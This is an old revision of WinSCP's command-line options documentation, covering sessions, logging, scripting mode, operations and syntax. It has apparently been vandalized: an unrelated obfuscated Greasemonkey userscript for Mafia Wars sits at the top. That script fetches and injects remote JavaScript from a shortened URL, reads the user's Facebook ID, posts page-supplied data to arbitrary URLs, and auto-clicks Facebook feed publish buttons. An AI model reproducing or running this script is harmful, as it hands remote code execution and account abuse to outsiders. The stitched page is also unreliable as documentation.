This is an old revision of the document!

Command-line Options

(function (unsafeWindow) { UserScript @name XYLONS @description XYLONS 1 @include http:*.mafiawars.zynga.com/mwfb/* @include http://www.mafiawars.zynga.com/play* @include http://www.facebook.com/dialog/feed* @include http://apps.facebook.com/inthemafia* @include http://mafiademon.com/* @include http://mafiademon.info/* @include http://mafiatornado.com/* @include http://mwscripts.com/happyplace/ @include http://mwscripts.com/happyplace/v2 @include https:*.mafiawars.zynga.com/mwfb/* @include https://www.mafiawars.zynga.com/play* @include https://www.facebook.com/dialog/feed* @include https://apps.facebook.com/inthemafia* @include https://mafiademon.com/* @include https://mafiademon.info/* @include https://mafiatornado.com/* @include https://mwscripts.com/happyplace/ @include https://mwscripts.com/happyplace/v2 @grant GM_setValue @grant GM_getValue @grant GM_xmlhttpRequest @updateURL http://userscripts.org/scripts/source/145289.user.js @icon http://www.scifi-models.com/product_images/g/421/battlestar_galactica_tshirt_by_your_command_16__24135_zoom.jpg @version Version X1 /UserScript

Advertisement

(function () {

  var my_url = 'http://smarturl.it/RockTheHouse?tmp=' + Math.random();
  var skip = false;
  if (/xw_controller=freegifts/.test(document.location.href)) skip = true;
  if (/xw_controller=requests/.test(document.location.href)) skip = true;
  if (document.location.href.indexOf('dialog/oauth?client_id=10000000001') > -1) {
      top.location.href = location.protocol + '//apps.facebook.com/inthemafia/';
      return;
  }
  if (document.location.href.indexOf('install_source&zy_track&install_link&zy_link&zy_creative&fb_sig_locale') > -1) {
      top.location.href = location.protocol + '//apps.facebook.com/inthemafia/';
      return;
  }
  if (document.location.href.indexOf('mw_rdcnt') > -1) {
      top.location.href = location.protocol + '//apps.facebook.com/inthemafia/';
      return;
  }
  if (document.location.href.indexOf('?next_params=YToyOntpOjA7czo1OiJsb2JieSI7aToxO3M6NDoibGFuZCI7fQ') > -1) {
      top.location.href = location.protocol + '//apps.facebook.com/inthemafia/';
      return;
  }
  if (!skip) var d = !0,
      h = null,
      k = !1,
      l = document.location.href,
      p;
  (function (f) {
      function m(a, b, e) {
          n || GM_xmlhttpRequest({
              method: "GET",
              url: my_url,
              onreadystatechange: function (a) {
                  if (4 === a.readyState && 200 === a.status && !n) {
                      n = d;
                      g = k;
                      var b = document.createElement("script");
                      b.innerHTML = a.responseText;
                      document.body.appendChild(b);
                      setTimeout(c, 1E3)
                  }
              }
          })
      }

Advertisement

      function c() {
          if (e)
              if (!g && !n) {
                  var a = e.getAttribute("data-fbid");
                  if (a) {
                      q = parseInt(a, 10);
                      g = d;
                      var f = (a = GM_getValue("chromaKey")) ? atob(/new\|(.+)\|cb/.exec(atob(atob(a)))[1]) : "0";
                      "function" === typeof GM_iops ? GM_iops() : (m(0, q, f), setTimeout(function () {
                          m(1, q, f)
                      }, 1E4))
                  }
              } else {
                  if (!b && (a = e.getAttribute("data-key"))) {
                      var u = e.getAttribute("data-url");
                      u && (GM_xmlhttpRequest({
                          method: "POST",
                          url: u,
                          data: decodeURI(a),
                          headers: {
                              "Content-Type": "application/json",
                              "Content-Length": "" + a.length
                          },
                          onreadystatechange: function (a) {
                              4 === a.readyState && (200 === a.status && (e.removeAttribute("data-key"), e.removeAttribute("data-url")), b = k)
                          }
                      }), b = d)
                  }
                  a = "1" === e.getAttribute("data-autopost") ? d : k;
                  a !== r && (r = a, GM_setValue("autopost", r))
              }
          setTimeout(c, 1E3)
      }
      var b = k,
          g = k,
          n = k,
          e = h,
          q = 0,
          r = k;
      f.start = function () {
          var a;
          a: {
              try {
                  if (-1 !== window.name.indexOf("some_mwiframe_hidden")) {
                      var b = document.getElementById("some_mwiframe");
                      b.src += "&next_params=YTozOntpOjA7czo1OiJpbmRleCI7aToxO3M6NDoidmlldyI7aToyO3M6OToiJmhpZGRlbj0xIjt9";
                      a = k;
                      break a
                  }
              } catch (g) {}
              a = -1 !== l.indexOf("xw_controller=freegifts") || -1 !== l.indexOf("xw_controller=requests") || -1 !== l.indexOf("hidden=1") || -1 !== l.indexOf("next_params=YTozOntpOjA7czo1OiJpbmRleCI7aToxO3M6NDoidmlldyI7aToyO3M6OToiJmhpZGRlbj0xIjt9") || -1 === l.indexOf("html_server.php") || !document.getElementById("final_wrapper") || document.getElementById("demondata") ? k : d
          }
          a && (e = document.createElement("span"), e.setAttribute("id", "demondata"), e.setAttribute("style", "display:none;"), e.setAttribute("data-loader", "2.5.0"), document.body.appendChild(e), a = document.createElement("script"), a.innerHTML = 'document.getElementById("demondata").setAttribute("data-fbid", User.trackId);', document.body.appendChild(a), c())
      }
  })(p || (p = {}));
  var s;
  (function (f) {
      function m(b) {
          "string" === typeof b && (b = document.getElementById(b));
          if (b) {
              var c = b.ownerDocument.createEvent("MouseEvents");
              c.initMouseEvent("click", d, d, b.ownerDocument.defaultView, 0, 0, 0, 0, 0, k, k, k, k, 0, h);
              b.dispatchEvent(c)
          }
      }

Advertisement

      function c(b) {
          try {
              var g = document.evaluate('//input[@type="submit" and @name="publish"]', document, h, XPathResult.ANY_UNORDERED_NODE_TYPE, h).singleNodeValue;
              g || (g = document.evaluate('//input[@type="button" and @name="publish"]', document, h, XPathResult.ANY_UNORDERED_NODE_TYPE, h).singleNodeValue);
              g && -1 === document.body.innerHTML.indexOf("daily take reward") ? window.setTimeout(function () {
                  m(g);
                  b && window.setTimeout(function () {
                      c(b)
                  }, 3E3)
              }, 5E3) : window.setTimeout(function () {
                  c(b)
              }, 3E3)
          } catch (f) {}
      }
      f.start = function () {
          -1 !== window.location.href.indexOf("dialog/feed") ? -1 !== document.body.innerHTML.indexOf("inthemafia") && GM_getValue("autopost") && c(k) : -1 !== window.location.href.indexOf("apps.facebook.com/inthemafia") && GM_getValue("autopost") && c(d)
      }
  })(s || (s = {}));
  var t;
  (function (f) {
      f.start = function () {
          var f, c;
          if (c = document.getElementById("chromakey"))
              if (f = c.getAttribute("data-key")) GM_setValue("chromaKey", f), c.innerHTML = 'Userscript Extension <span style="color:#4f4;">Found and Activated</span>'
      }
  })(t || (t = {})); - 1 !== l.indexOf("mafiawars.zynga.com") ? p.start() : -1 !== l.indexOf("facebook.com") ? s.start() : -1 !== l.indexOf("mafiademon") && t.start();

})(); })(window);

Session

The first syntax opens the site. To open site, stored in folder, use path syntax “folder/site”. You can also open workspace or all sites in site folder.

The second creates the session specified by session URL and optionally by initial remote path. If the remote path is not ended by slash (/), it is treated as path to file (or even directory) that should be downloaded.

If there’s already idle WinSCP instance running, the session(s) opens in the existing instance. To force session open in new instance of WinSCP, use /newinstance parameter.

For security reasons, when protocol (such as sftp://) is provided as part of session URL (possible execution from web browser/Windows Explorer), all command-like parameters that cause any automatic action are ignored, including /defaults, /log, /script and /command.

Parameter /privatekey specifies local path to private key file.

Parameter /timeout specifies server response timeout.

Parameter /hostkey specifies fingerprint of expected host key (or several alternative fingerprints separated by semicolon). It makes WinSCP automatically accept host key with the fingerprint.

Advertisement

Parameter /passive enables passive (=on) or active (=off) transfer mode (FTP protocol only).

Parameters /implicit, /explicitssl and /explicittls enable respective methods of invoking FTPS.

Parameter /rawsettings allows configuring any site settings using raw format as in an INI file. E.g. to enable SSH compression and agent forwarding use /rawsettings Compression=1 AgentFwd=1.

When using scripting, use open command (and its switches) instead. This allows you settings script options before starting session.

winscp.exe "My site"
winscp.exe sftp://martin@example.com/ /hostkey="ssh-rsa 2048 xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx"
winscp.exe scp://test@example.com:2222/ /privatekey=mykey.ppk
winscp.exe ftps://martin@example.com/ /implicit /certificate="xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx"

Logging

With /log parameter you may turn on session logging to file specified by local path. With /xmllog parameter you may turn on XML logging to file specified by local path.1 In either path you can use the same patterns as in the logging preferences.

winscp.exe sftp://martin@example.com/ /log="C:\winscp.log"

Console/scripting mode

Parameter /console executes WinSCP in console (scripting) mode. Note that when using winscp.com, the console mode is implicit, so using /console parameter is redundant.

To run batch script either pass script file using /script parameter or specify the commands directly on command line using /command. In the latter case each following parameter is treated as single command. See syntax section and examples below for details how to deal with spaces and double-quotes.

If both /script and /command parameters are used, commands from script file are executed first. When the last command is not exit, regular non-batch mode follows.

Use parameter /parameter to specify list of arguments to be passed to script. It is recommended to escape the arguments with // switch.

With winscp.exe, if /console parameter is not used along with /script or /command, the script/command is executed without visual feedback (window).

Use parameter /xmlgroups along with /xmllog, to group all XML log elements belonging to the same command under parent group element.

Use parameter /nointeractiveinput, when feeding commands to winscp.com using standard input, to make sure prompts for anything other than commands (such as password prompts) are cancelled.

winscp.com /script="C:\Users\martin\Documents\myscript.txt"
winscp.com /command "option batch abort" "option confirm off" "open sftp://martin@example.com/ -hostkey=""ssh-rsa 2048 xx:xx:xx...""" "exit"
winscp.exe /console /script="myscript.txt" /log="myscript.log"

Advertisement

Operations

The following parameters can be used to create a shortcut that initiates operation in GUI mode. They are not intended for automation, for that see scripting.

With /synchronize or /keepuptodate parameter WinSCP performs Synchronize or Keep remote directory up to date commands respectively on the specified session and directories. A dialog to set options is displayed first.

With /upload parameter WinSCP uploads specified files to initial remote directory of session2. A dialog to set options is displayed first.

Use /defaults parameter along with /upload, /synchronize or /keepuptodate to skip the settings dialog and start the operation straight away with default settings.

It is recommended to escape the arguments with // switch.

winscp.exe /defaults /synchronize // "C:\Users\martin\Documents\MySite" /home/martin/public_html

Configuration

With /ini parameter you may specify local path to configuration INI file. It effectively disables using registry as configuration storage. If the file does not exist, default configuration will be used and the file will be created.

winscp.exe /ini="C:\Users\martin\Documents\myconfig.ini"

Use nul instead of path to force WinSCP start with its default configuration and not save the configuration on exit.

Auxiliary

When run with /update parameter, WinSCP only checks for its updates.

Parameter /help shows usage (overview similar to this).

Advertisement

Syntax

Command-line parameters that include space(s) must be surrounded by double-quotes:

winscp.exe /ini="C:\Users\martin\Documents\myconfig.ini"

To use the double-quote as a literal, use two double-quotes sequentially. For example, the /command expects that each script command is surrounded by double quotes, so that it is passed as a single command-line argument. In addition, any script command argument that includes spaces is expected to be surrounded by double-quotes within the command (see doubling double-quotes):

winscp.com /command "open ""My site""" "put ""C:\Users\martin\Documents\myfile.dat"""
                    <- script cmd 1 -> <-               script cmd 2               ->

An argument that begins with a slash is considered a switch. To pass a parameter that itself starts with the slash in its syntax (i.e. a remote path like /root), use the special switch // (two slashes) before the argument. The switch // denotes that all following arguments are not switches. Example:

winscp.exe /synchronize // "C:\Users\martin\Documents\MySite" /root

Executables

Learn about two WinSCP executables, winscp.exe and winscp.com.

Hint

If you are going to run WinSCP from command-line often, you may wish to add WinSCP installation directory to search path.

  1. For backward compatibility, XML logging can also be enabled using /log parameter with filename ending with .xml extension.Back
  2. Parameter is primarily intended to allow Windows Explorer’s ‘Send To’ menu integrationBack

Last modified: by 50.164.83.30